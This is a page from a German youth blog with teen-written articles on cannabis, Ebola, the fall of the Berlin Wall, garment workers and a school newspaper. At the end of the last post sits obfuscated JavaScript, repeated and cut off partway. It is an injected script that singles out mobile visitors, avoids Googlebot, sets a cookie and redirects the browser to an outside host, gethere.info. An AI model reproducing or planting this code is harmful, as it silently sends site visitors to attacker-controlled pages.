DIGGA - Teens unterwegs
  • Startseite
  • Themen
    • aktuelle Events
    • Auslandsberichte
    • Autismus
    • Bärenstark – Berlinale Spezial
    • Berühmt
    • DIGGA Magazin
    • Flüchtlinge in Berlin
    • Filme machen
    • Gender
    • Internet
    • Rechtliches
    • Lifestyle
    • Lyrik
    • Musik
    • Mein Lieblingsort
    • Politik für dich und mich
    • Schule
    • Sucht
    • Sport
    • Tierrechte
    • Webreportagen
  • Kooperation
  • Termine
  • Info
    • Auszeichnungen
    • PROJEKT
  • Archiv
    • 2014
    • 2015
    • 2016
  • Impressum
DIGGA - Teens unterwegs
alle Artikel, Sucht

Kiffen

IMG_0337

Cannabisblätter auf Socken, Hosen, Pullis oder Kappen mit der Aufschrift Weed sind mittlerweile normal und äußerst beliebt bei Jugendlichen. Sie tragen es, weil Kiffen zum Symbol der Coolheit geworden ist. Aber was ist eigentlich Cannabis und wieso ist es so beliebt? Um das und noch mehr über das Thema herauszufinden habe ich zwei ehemalige Kiffer und eine Schülerin, die zwar selber keine Erfahrung mit Drogen hat, aber in ihrer Klasse Mitschüler hat, die kiffen, zu dem Thema befragt.

Cannabis ist der wissenschaftliche Name der Hanfpflanze, die den Wirkstoff Tetrahydrocannabinol (kurz THC) enthält. Dieser Wirkstoff bewirkt den Rausch und ist in den Blüten der weiblichen Pflanze am konzentriertesten vorhanden. Getrocknete Blüten und manchmal auch Teile der Blätter der Pflanze werden als Marihuana beziehungsweise Gras bezeichnet. Das wird meistens mit Tabak vermischt und als Joint geraucht. Haschisch wird in Platten oder Blöcke gepresst und besteht aus dem Harz der Pflanze. Es enthält deutlich mehr THC als Gras und hat daher auch eine stärkere Wirkung.

Auf die Frage, wieso Cannabis denn so beliebt ist, antwortete mir einer der ehemaligen Kiffer, dass es vielleicht am „geilen Geschmack“ und der Tatsache, dass die Droge „gut zum Chillen“ ist, liegen könnte.

Vielleicht liegt es auch daran, dass Cannabis oft verharmlost und zudem im Vergleich zu Tabak und Alkohol als ungefährlicher eingestuft wird. Fakt ist, dass man an einer Überdosis Alkohol sterben kann, einer Überdosis Cannabis aber nicht. Tatsächlich ist Cannabis in manchen Gesichtspunkten „harmloser“ als Alkohol, trotzdem sollte man das Suchtpotenzial auf keinen Fall unterschätzten. Es handelt sich immer noch um eine illegale Droge!

Denn ab einem bestimmten Zeitpunkt kann man seinen eigenen Konsum selbst nicht mehr einschätzen und braucht immer mehr Gras, um überhaupt eine Wirkung zu spüren und high zu werden. Wer täglich oder sogar mehrmals täglich kifft und sich ein Alltag ohne Cannabis nicht mehr vorstellen kann, ist abhängig. In solchen Fällen sollte man sich am Besten professionelle Hilfe suchen, obwohl das nicht immer einfach ist, wie der 15-jährigen Drogenabhängige in seinem Interview in der Radiosendung Hörsturz zum Thema Drogen (https://soundcloud.com/alexradio/interview-mit-einem-jugendlichen-drogenabhangigen) erklärt. Er ist ganz einfach in diese Drogenszene reingekommen und jetzt fehlt ihm aber schlichtweg die Motivation, wieder aus ihr herauszukommen, auch wenn er weiß, dass er ein Problem hat. Er traut sich auch nicht mit seinen Eltern darüber zu reden, was das ganze ja eigentlich nur noch schlimmer macht, weil er niemanden hat, dem er sein Problem anvertrauen kann. Ein solches Verhaltensmuster ist bei Jugendlichen leider nicht selten.

Nun zu einer anderen Frage: Wie ist es eigentlich bekifft zu sein? Die Wirkung von Cannabis ist bei jedem anders. Es kommt auch auf die Menge an und ob man einen Joint raucht oder das Gras in Kekse einbäckt und diese dann isst. Meine Interviewpartnerin beschreibte die Bekifften für Sie als Außenstehende, als „locker, entspannt und lustig drauf“. Für die beiden ehemalige Kiffer ist das Gefühl schwer zu beschreiben, für sie war dann einfach alles viel entspannter und gechillter als sonst. Außerdem wird der Geschmack von Essen viel intensiver erlebt und es kommt manchmal auch zu Fressattacken.

Generell kann man festhalten, dass es beim kiffen zu einer stärkeren Gefühlswahrnehmung meist auch zu einem Hochgefühl kommt, dass heißt wenn man im normalen Zustand etwas nur bedingt witzig findet, lacht man sich im bekifften Zustand drüber schlapp. Zudem stört Cannabis das Kurzzeitgedächtnis, was dazu führt, dass man einerseits nicht mehr weiß, was man vor 5 Minuten getan hat, andererseits aber auch ein verlangsamtes Zeitgefühl bekommt.

Doch die Droge hat auch durchaus Nebenwirkungen. Besonders bei übermäßigem Konsum oder beim ersten Konsum kann es dazu kommen, dass man sich nicht mehr konzentrieren und keine klaren Gedanken mehr fassen kann. Manchmal kommt es auch zu Panikattacken, Schweißausbrüchen, Überempfindlichkeit und manche fühlen sich manchmal sogar beobachtet.

Meine beiden befragten ehemaligen Kiffer hatten noch keine schlechten Erfahrungen mit dem Kiffen. Es kommt also ganz darauf an, ob der Körper die Drogen gut verträgt, oder eben nicht.

Jugendliche fangen aus ganz verschiedenen Gründen an zu kiffen. Sei es aus Langeweile, Depressionen oder Problemverdrängung. Bei meinen beiden Befragten, war es am Anfang die Neugier etwas Neues auszuprobieren und dann später nur so zum „just for fun“ ab und zu mit seinen Freunden zu kiffen. Meist ist es derselbe Freundeskreis mit dem man zusammensitzt und sich ein Joint dreht. (Mitläuferrsyndrom)

Solange das ab und zu nicht zu mehrmals in der Woche ausartet, ist kein sehr hohes Suchtpotenzial vorhanden. Dennoch sollte man vor allem als Jugendlicher auf keinen Fall zu Cannabis greifen, da es bewiesen ist dass bei sich bei Teenagern durch den Konsum von Cannabis das Gehirn langfristig verändern kann.

17. Januar 2015by Charlotte
FacebookTwitterPinterestGoogle +Stumbleupon
aktuelle Events, alle Artikel, Alle Kategorien, Europa

Jugendforum denk!mal 2015

 

denkmal

 

Das Jugendforum denk!mal bietet allen Jugendlichen und jungen Erwachsenen die Möglichkeit, sich kreativ mit den Themen Diskriminierung, Hass, Rassismus und Gewalt zur Zeit des Nationalsozialismus als auch zur heutigen Zeit, auseinanderzusetzten. Anschließend werden die Ergebnisse im Rahmen einer Ausstellung präsentiert.

Anlass ist der Gedenktag an die Befreiung des Konzentrations- und Vernichtungslager in Auschwitz vor 70 Jahren am 27. Januar 1945. Damit dieser Gedenktag nicht in Vergessenheit gerät, findet schon seit mehreren Jahren das Jugendforum denk!mal statt.

Die dabei entstehenden Projekte konnten in die vier folgende Kategorien eingereicht werden: „machmal“ ; „schreibmal“; „malmal“ ; „singmal“ . Das Ergebnis ist vielfältig und reicht von Theaterstücken bis zu eigens gedrehten Dokumentarfilmen.

Ausgewählte Projekte werden bei der Abendveranstaltung am Mittwoch, den 21. Januar 2015 im Abgeordnetenhaus in Berlin präsentiert. Diese Veranstaltung wird dann ab 18:00 Uhr live vom Sender ALEX im Fernsehen übertragen. Am Donnerstag, den 22. Januar gibt es dann eine Volltreffer-Produktion, mit einem Talk, bei dem der Präsident des Abgeordnetenhauses Ralf Wieland und auch Teilnehmer der Veranstaltung dabei sein werden.

Für alle Interessenten sind die Projekte vom 19 bis zum 26. Januar 2015 im Casino des Berliner Abgeordnetenhauses ausgestellt.

Abgeordnetenhaus von Berlin
Niederkirchnerstraße 5
10117 Berlin

14. Januar 2015by Charlotte
FacebookTwitterPinterestGoogle +Stumbleupon
aktuelle Events, alle Artikel

Ebola-Epidemie 2014 – Bald eine Pandemie?

Im Februar dieses Jahres wurden im Südosten Guineas die ersten Ebola – Fieber – Fälle bekannt, seitdem sind ungefähr 13.329 Menschen erkrankt. Bisher sind mindestens 5.000 Menschen am Ebola – Fieber gestorben, aber was ist das eigentlich „Ebola“? Was versteht man unter einer Epidemie und was ist der Unterschied zur Pandemie?

Ebola bzw. das Ebola – FiIMG_1670[1]eber ist eine Infektionskrankheit, die ihren Ursprung in Afrika hat. Als Überträger werden Menschenaffen und Flughunde vermutet. Die Übertragung von Mensch zu Mensch ist möglich, wenn man Kontakt mit dem Blut eines Erkrankten oder einer anderen Körperflüssigkeit hat. Des Weiteren kann auch schon der Körperkontakt mit einem an Ebola Erkrankten oder einem Verstorbenen zu einer Infektion führen. Ausgelöst wird die Krankheit durch den sogenannten Ebola – Virus. Dieser gehört zu den gefährlichsten Krankheitserregern der Welt. Erste Symptome treten bei Ebola etwa 2 bis 21 Tage nach der Infektion auf. Die Infizierten leiden unter:

-Starkem Fieber

-Schüttelfrost

-Kopfschmerzen

-Muskelschmerzen

-Hinzu kommt Appetitlosigkeit und körperliche Schwäche.

Darauf folgend treten auch noch diese Symptome auf:

-Magenschmerzen

-Halsschmerzen

-Durchfall

-innere Blutungen

Ab dem fünften Tag kann auf heller Haut ein Hautausschlag sichtbar werden. Außerdem kommt es häufig zu Symptomen wie Lähmungen und Psychosen. Bei Betroffenen kann es zu Nieren- und Leberversagen bzw. Organversagen führen. Häufig sterben Ebola – Patienten an Multiorganversagen, d.h., mehrere Organe versagen gleichzeitig.

Nun, da klar ist was Ebola ist, stellt sich immer noch die Frage, was den der Begriff „Epidemie“ bedeutet. Das Wort „Epidemie“ kommt aus dem griechischen epí („über“) und démos („Volk“). Daraus lässt sich schließen, dass eine Epidemie ein örtlich begrenztes Auftreten hat, denn sie ist nur „über“ einem „Volk“. Das ist aber nicht alles. Eine Epidemie bezeichnet außerdem ein stark gehäuftes, zeitlich begrenztes Auftreten einer Erkrankung. Sie wird meist von Viren verursacht, kann aber auch durch eine bakterielle Infektion entstehen. Beispiele dafür sind Cholera und Typhus.

Der Unterschied zwischen Endemie und Pandemie ist, dass eine Pandemie eine Länder und Kontinent übergreifende, globale Verbreitung einer Infektion ist. Das heißt, dass sich eine Krankheit, wie zum Beispiel die Pest und AIDS (wobei AIDS nach wie vor anhält), weltweit verteilt, während eine Epidemie sich auf einen Ort beschränkt.

Genau deswegen haben jetzt viele Angst, dass sich die Ebola-Epidemie in eine Pandemie entwickelt. Heutzutage würde sich dieser Virus vor allem in GroßstädtIMG_1683[1]en sehr schnell verbreiten. Jeder kommt hier und da mit irgendeiner anderen Person in Berührung, z.B. in der U-Bahn. Wenn sich Ebola zu einer Pandemie entwickeln würde, könnte dieser Virus, wenn keine Maßnahmen getroffen werden, eine ganze Stadt lahmlegen. Momentan beschränkt sich Ebola aber noch, bis auf ein paar Fälle, auf Afrika. Die drei hauptsächlich betroffenen Staaten sind dabei Guinea, Liberia und Sierra Leone. Sie begann im Südosten Guineas und gilt als bisher größte ihrer Art. Da es sehr schwierig ist den Übertragungskreislauf zu unterbrechen, wurden Maßnahmen getroffen, um dies trotzdem zu gewährleisten. Deutschland hat einen Ebola-Beauftragten der Bundesregierung ernannt, Walter Lindner. Dieser gilt als guter Krisenmanager und zudem als Afrikakenner. Sein Plan ist es:

1. Die Infektionsketten zu durchbrechen – gut isolierte Stationen, sichere Bestattungen
2. Ebola isolieren, nicht die betroffenen Länder
3. Verhindern, dass diese Länder ins Chaos fallen
4. Deren Gesundheitssysteme stärken
5. Die internationale Hilfe effektiver machen
Außerdem hat Deutschland fünf Millionen Euro der Forschung in ein Heilmittel investiert und die medizinischen Kontrollen an internationalen Flughäfen werden verstärkt. Die USA schickt militärische Hilfskräfte in die betroffenen Länder um den Helfern bei der Ausstattung und dem Personal auszuhelfen.

Es gibt ein Heilmittel. Jedenfalls hat die USA ein Medikament namens “ZMapp” schon an Infizierten mit gutem Ergebnis getestet. Das Problem hierbei ist das, das bisher nur an Affen klinischen Tests mit dem “ZMapp” durchgeführt wurden, ohne diese Tests kann das “ZMapp” nicht zugelassen, also nicht benutzt werden. Nur in Ausnahmefällen und dem Einverständnis der Betroffenen kann es verwendet werden. Im Falle der oben genannten Infizierten war nicht sicher, ob sie es überleben würden, denn es bestand auch die Möglichkeit, dass es ihnen nicht hilft oder es sogar verschlimmert. Glücklicherweise hat es funktioniert.

Da die Situation in den betroffenen Ländern immer schlechter wurde, haben Ethiker die Situation beurteilt. Das heißt, sie haben darüber entschieden, in wie weit es verantwortbar für die Ärzte ist, das “ZMapp” zu verabreichen. Als sie ihr Okay gaben, wurde die kleine Menge “ZMapp”, die bisher produziert wurde, nach Liberia geliefert. Diese wird jedoch schnell aufgebraucht sein. “ZMapp” wird aus gentechnisch verändertem Tabak hergestellt, das Verfahren zur Gewinnung von “ZMapp” dauert jedoch mehrere Monate. Wenn diese Ladung “ZMapp” also aufgebraucht ist, wird es erstmal keine neue geben.

Es bleibt zu hoffen, dass die Maßnahmen gegen einen weltweiten Ausbruch Ebolas standhalten und dass bald ein Medikament gefunden wird, das nachweislich wirkt, um zu helfen die Ebola-Epidemie zu beenden.

11. November 2014by Isabella
FacebookTwitterPinterestGoogle +Stumbleupon
aktuelle Events, alle Artikel

25 Jahre Mauerfall

28 Jahre lang stand die Mauer, teilte Berlin in Ost- und West. Jetzt, 25 Jahre später, erinnert man sich noch immer an diese Zeit. Jährlich kommen mehrere Millionen Touristen nach Berlin, sie wollen die Überbleibsel dieser Zeit sehen, denn viele können es zu002erst nicht glauben – „Eine Stadt geteilt durch eine Mauer, unmöglich“. Ein Tourist aus Tokio meint: „Sie ist beeindruckend. Ich habe nicht verstanden, wie es sein kann, aber das (er zeigt auf die Mauer) ist beängstigend. Es ist nur eine Mauer, gleichzeitig aber auch ein Stück Geschichte“. Trotzdem findet er es gut, dass man sie besichtigen kann, „denn die
Menschen sollten es nicht vergessen. Damit so etwas nie wieder passieren kann“.

31. August 1961 – Der Mauerbau beginnt

Warum?!? Nach dem Krieg war Deutschland in zwei Teile geteilt worden, in die BRD und die DDR. Diese Grenze verlief zwischen Berlin, dort war die Sektorengrenze nicht geschlossen, viele nutzten dies aus, um aus der DDR zu fliehen. 001„Sie wollten uns einsperren!“, antwortet Wolfgang M., ein gebürtiger Ostberliner. Damit hat er nicht ganz unrecht. Es hört sich radikal an, jedoch ist es im Endeffekt genau das, was die Mauer bezweckt hat: „Die DDR-Regierung wollte nicht, dass die Menschen aus dem Osten flohen und hat sie somit eingesperrt.“
Die meisten Befragten antworten auf die Frage, „Wenn du die Wahl gehabt hättest, auf welcher Seite wärst du dann gewesen, im Osten oder im Westen?“ „Im Westen“. Wie eine der Befragten es ausdrückte: „Freiheit ist ein hohes Gut“. Ihre Verwandten, die damals auf der Ostseite lebten, hatten keine Freiheit.

Durch Geisterbahnhöfe fahren

„Geisterbahnhöfe“ so beschreibt Elisabeth M. die leeren U-Bahnhöfe zur Zeit der Mauer. Stillgelegt, weil sie West- und Ostberlin verbanden. „Es hat mir Angst gemacht, nicht nur IMG_1478die Mauer hat Berlin damals verändert, die leeren Bahnhöfe, die Wachtürme, ich ging morgens immer zu diesem einen Bäckerladen, um mir Kaffee zu holen. Es war so was wie mein morgendliches Ritual und als ich am Tag nachdem die Sektorengrenze abgeriegelt worden war dort ankam, fand ich den Laden geschlossen vor. Der Besitzer wohnte im Osten, er verlor seinen Laden und er war nicht der Einzige. Viele wohnten auf der einen aber arbeiteten auf der anderen Seite.“ John F. Kennedy´s Kommentar zur Mauer war: „Keine sehr schöne Lösung, aber trotzdem tausendmal besser als Krieg“. Einige der Befragten stimmten ihm voll und ganz zu. Karina L. meint: „Im Krieg sterben Menschen, an der Mauer sind Menschen gestorben. Aber im Krieg werden sie zu Feinden.“

Als die Mauer fiel

Die Öffnung der Mauer geschah vom Abend des 8. Novembers zum 9. November 1989. Der ZK-Sekretär Günther Schabowski gab eine neue Reiseregelung für die DDR-Bürger bekannt. Privatreisen ins Ausland könnten „ohne Vorliegen von Voraussetzungen – Reiseanlässen und Verwandtschaftsverhältnissen – beantragt werden“. Die Genehmigungen würden kurzfristig erteilt; die Regelung gelte nach seiner Kenntnis „sofort, unverzüglich“.
Eigentlich sollte von dieser Regelung zunächst nur ein Teil für die „Ausreise ohne Rückkehrrecht“ in Kraft treten. Der Fall der Mauer war also eigentlich nur ein Versehen.
„Meine Mutter war, als die Mauer fiel, gerade in Spanien. Sie konnte sich nur auf die Nachrichten verlassen, sie konnte es kaum glauben. Zusammen mit den Anderen aus meiner Familie, ist sie sofort zum nächsten Zeitungsladen“, erzählt Kiara J. Ein paar Tage später ist sie nach Berlin geflogen, um es mit eigenen Augen zu sehen.
„Ich komme aus Lübeck und damals lebte ich nah an der Grenze. Als ich davon hörte, dass die Mauer gefallen ist, bin ich sofort zur Mauer gelaufen. Ich war nicht die Einzige, mit mir ging eine große Menschenmasse. Als uns der erste Trabbi entgegen kam, jubelten alle, viel weinten, ich weiß noch, dass ich jemanden umarmte.“003

„Als ich es im Fernsehen sah, musste ich weinen und lachen. Als ich mich beruhigt hatte, hab ich mir einen Flug gebucht“, erzählt Michael T., der in Berlin geboren wurde.

 

Larah S., gebürtige Berlinerin, erinnert sich: „Der Moment als ich zum ersten Mal über die Grenze fuhr und es gab keine Grenze mehr … unbeschreiblich“.
Wolfgang M., ehemaliger Ostberliner, berichtet: „Damals war alles Mangelware, wenn du eine Schlange sahst, hast du dich sofort angestellt, denn egal was es ist, irgendwann brauchst du vielleicht etwas und die Person von der du es bekommst. kennt jemanden, der tauschen würde. Als wir vom Osten in den Westen kamen, kauften meine Eltern mit all ihrem ersparten Geld einen uralten Audi. Es war ihnen egal, wir hatten schon monatelang auf ein Auto gewartet“, meint er.

Vor 53 Jahren wurde die Mauer gebaut, 28 Jahre lang stand sie und jetzt, 25 Jahre nach dem Mauerfall wiederum, kann man kaum glauben, was in dieser Stadt geschehen ist. Berlin ist mittlerweile eine Stadt mit Hochhäusern, eine Stadt bei der es an so gut wie jeder Ecke etwas zu kaufen gibt. Ja, Berlin hat sich zu einer richtigen Metropole entwickelt. „Berlin hatte viele schlechte Zeiten, aber wenn man sich jetzt umschaut, sieht man es ihr aber nicht an. Berlin ist eine wunderbare Stadt mit tollen Menschen, einer tollen Kultur und das Lebensgefühl hier ist unglaublich“, schwärmt Pallona L., eine Touristin aus Brasilien.

2014 – Die Mauer ist Geschichte

Heute sind die Unterschiede zwischen Osten und Westen kaum noch zu erkennen, einzig die Mauerteile sind als Zeichen dafür, dass Berlin geteilt war, geblieben. Lara S. meint: „Mein Vater und seine Familie kommen aus dem Westen, meine Mutter und ihre 004Familie aus dem Osten. Kennengelernt haben sie sich drei Wochen nach dem Mauerfall, schon damals war es ihnen egal, woher sie kamen.“ Eine andere Zeitzeugin meint: „Ich erinnere mich noch, wie ich zwei Tage nach der Wende zu „Kaisers“ ging und dass viele der Regale leer waren. Die Ostdeutschen hatten in ihrer Euphorie anscheinend erstmals all das gekauft, was sie im Osten nicht hatten. In solchen Momenten habe ich mir schon gewünscht die Mauer wäre geblieben, die Wende hat sehr viel verändert, Berlin war auf einmal so voll“. Und sie ist nicht die Einzige, die so denkt: Ein holländischer Tourist findet es schade, das sie weg ist. Seiner Meinung nach hat die Mauer Berlin eine Art von Charme verliehen.
Der Amerikaner Christo F. sagt: „Ich finde es komisch, wenn sich Leute hier herstellen und Fotos machen. Sie lächeln, sie posieren, als ob es sie nichts angehen würde. Nur weil es vergangen ist, heißt es nicht, dass wir nichts daraus lernen können. Jeder Mensch will frei sein, viele Menschen konnten nicht frei sein. Ich glaube nicht, dass ich glücklich sein könnte, ohne meine Freiheit.“

Die Mauer ist weg – Deutschland erinnert sich

Das ganze Jahr beschäftigen sich verschiedene Aktionen mit der Berliner Mauer und ihrem Fall 1989. Als Höhepunkt wird dieses Wochenende, also vom 7.- 9. November 2014 in Berlin, die Gedenkaktion namens „Lichtgrenze“ starten. Achttausend leuchtende papa2Ballons werden auf ca.12 Kilometer als „Symbol der Hoffnung für eine Welt ohne Mauern“ zu sehen sein. Am Abend des 9.Novembers werden die Luftballons dann losfliegen. 25 Jahre sind vergangen und Berlin erinnert sich immer noch.

9. November 2014by Isabella
FacebookTwitterPinterestGoogle +Stumbleupon
alle Artikel

Situation der Näherinnen

Dass die Situation der Näherinnen in den Textilfabriken der Dritten-Welt-Länder nicht gerade großartig ist, wissen wir spätestens seit dem Einsturz einer Textilfabrik alle. Aber wenn wir dann bei Primark vor dem coolen Pullover oder dem wunderschönen Kleid stehen, das wir so lange gesucht haben und dass jetzt gerade mal 8€ kostet, haben wir das alles vergessen. Und selbst wenn wir uns sogar noch an den letzten Zeitungsartikel erinnern, in dem die grausamen Arbeitsbedingungen der Näherinnen beschrieben wurden – ein Teil mehr, dass man in den Billigläden wie H&M oder Primark (die ja auch leider immer die schönsten Sachen haben) kauft oder eben nicht kauft, verändert sowieso nichts an dem Gesamtproblem, dass es immer Menschen gibt, die immer und immer mehr Geld haben wollen und andere dafür ausbeuten.
Von den 2€, die man für ein Oberteil bei Primark nur opfern muss, bekommt die Näherin nämlich durchschnittlich nur 0,5 bis höchstens 3%. Das sind wenige Cents. Und wenn man sich überlegt, wie viel Arbeit es ist, ein qualitativ gutes Oberteil zu produzieren, ist es auf jeden Fall viel mehr wert als das. Und weil man ja nicht unnötiges Geld, Wasser und Zeit verschwenden will, werden die fertig produzierten Textilien nach der Produktion oftmals nicht einmal mehr gewaschen, bevor sie in den Laden kommen. Das kann man auch feststellen, denn wenn man einen besonders billigen Laden betritt, riecht man schon die giftigen Chemikalien überall.
Und das müssen die Näherinnen 7 Tage die Woche aushalten – offiziell zwar nur ca. 12 Stunden, aber auch 16 Stunden pro Tag an den Maschinen sind keine Ausnahme. In manchen Fabriken herrscht sogar Toilettenverbot, denn die Zeit drängt. Bei so einem Stress, den giftigen, ungesunden Stoffen in der Luft und den Hungerlöhnen wird man übrigens auch nicht sehr alt. Es sind Arbeitsbedingungen wie zur Zeit der Industrialisierung.
Vielleicht wäre ein Boykott der billigen Läden eine Lösung. Aber andererseits wären die ganzen Näherinnen dann arbeitslos und das wäre noch viel schlimmer. Was können wir also tun? Eigentlich ist das Wichtigste, dass wir erst einmal so viele Leute wie möglich auf dieses Problem aufmerksam machen, damit irgendwann vielleicht stärkere Kontrollen eingeführt werden, die aufpassen, dass alles in den Fabriken mit rechten Dingen zu geht. Die gibt es zwar jetzt schon, aber oft sind die Versprechen der großen Konzerne, dass sie selbst regelmäßig Kontrollen durchführen, nicht besonders glaubhaft. Und man sollte außerdem überprüfen, dass die großen Firmen nicht auf Subunternehmen, kleinere Unternehmen, ausweichen, die dann widerum nicht kontrolliert werden und in denen noch menschenverachtendere Bedingungen herrschen.

7. November 2014by Milena
FacebookTwitterPinterestGoogle +Stumbleupon
alle Artikel, Lyrik

Mein Buch “Klar soll man nicht lügen, aber…”

Die 13-jährige Louisa, genannt Loui, hat es echt nicht leicht.
Ihr Vater, ein schlecht gekleideter, arbeitsloser Psychologe, ihre Mutter, eine zu sehr um das Wohlergehen ihrer Tochter besorgte und gefühlsmäßig sowieso total überlastete Frau – und Louis sogenannte „Freundin“ machen ihr das Leben schwer.
Als Loui auch noch aus dem Chor rausfliegt, ihre Mutter nach der vermeintlichen Französischnachhilfe einen nassen Bikini in der Schultasche findet und Loui ihr nach einem missglückten Date erzählt, sie hätte nun ihre erste Beziehung, wird die Mutter misstrauisch.
Aus lauter Angst aufzufliegen, erfindet Loui immer neue Ausreden und verstrickt sich so Stück für Stück in eine immer schrecklichere Lügengeschichte.
Wie soll sie da nur wieder herauskommen, wenn sie niemanden hat, der ihr zuhört?

Hier könnt ihr es beim Verlag vorbestellen: http://www.papierfresserchens-buchshop.de/747-Klar-soll-man-nicht-luegen-aber-TB-MReinecke-JB

Cover_Klar-soll-man-nicht-lügen

7. Oktober 2014by Milena
FacebookTwitterPinterestGoogle +Stumbleupon
alle Artikel, Schule, Sucht

#1 inphormed

Download (PDF, 25KB)

Hier die aktuelle Aushabe der SchA?lerzeitung inphormed des bilingualen Gymnasiums Phorms Berlin SA?d! Thema: EssstAi??rungvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows 